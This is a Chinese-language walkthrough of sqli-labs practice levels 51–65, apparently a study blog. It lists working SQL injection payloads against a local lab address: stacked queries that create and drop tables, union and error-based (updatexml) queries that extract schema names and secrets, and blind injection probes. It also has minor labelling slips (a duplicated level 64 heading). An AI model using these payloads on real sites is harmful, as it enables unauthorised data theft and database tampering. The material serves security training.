sqli-labs通关教程----51~65关
第五十一关
看源码还是mysqli_multi_query函数,也就还是堆叠注入,和前一关没什么区别就是变成字符型了
创建less51表
?sort=1';create table less51 like users;--+
第五十二关
这关和五十关一样,就是不报错了。
创建less51表
?sort=1;create table less52 like users
删除less52表
?sort=1;drop table less52
第五十三关
和五十二关一样,闭合变成'
第五十四关
这关开始就变成了挑战了,正常的注入套路,有十次机会,用完就重置表名和数据。
爆字段列数
?id=1' order by 3--+
爆数据库名
?id=-1' union select 1,2,database() --+
爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='wrocxk0l78' --+
爆内容
?id=-1' union select 1,group_concat(sessid),group_concat(secret_HW0G) from wrocxk0l78 --+
第五十五关
和五十四关一样,闭合变成()
测试
http://192.168.0.101/sql/Less-55/?id=1) and (1)=(1) --+
第五十六关
和五十四关一样,闭合变成('')
http://192.168.0.101/sql/Less-56/?id=1') and ('1')=('1') --+
第五十七关
和五十四关一样,闭合变成""
http://192.168.0.101/sql/Less-57/?id=1" and "1"="1" --+
第五十八关
这关用union select查询没回显位,所以用报错。
http://192.168.0.101/sql/Less-58/?id=1' and updatexml(1,concat(0x7e,database()),0) --+
爆表名
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges' limit 0,1)),0) --+
剩下步骤看之前关卡
第五十九关
和五十八关一样,没有闭合符。
爆列名
?id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='j9sdnevh3v' limit 0,1)),0) --+
第六十关
和五十八关一样,就是闭合变成("")
爆列名
http://192.168.0.101/sql/Less-60/?id=1") and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges' limit 0,1)),0) --+
第六十一关
和五十八关一样,就是闭合变成((''))
爆列名
http://192.168.0.101/sql/Less-61/?id=1')) and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges' limit 0,1)),0) --+
第六十二关
这关开始报错和联合查询都不行了,那就盲注
跑数据库名长度
?id=1 ')and (length(database())=10)--+
猜库名
?id=1 ')and ascii(substr(database(),1,1))=99 --+
之后可以用脚本跑
第六十三关
和六十二关一样,就是闭合变成单引号闭合
第六十四关
和六十二关一样,就是闭合变成括号闭合
第六十四关
和六十二关一样,就是闭合变成("")
**完成****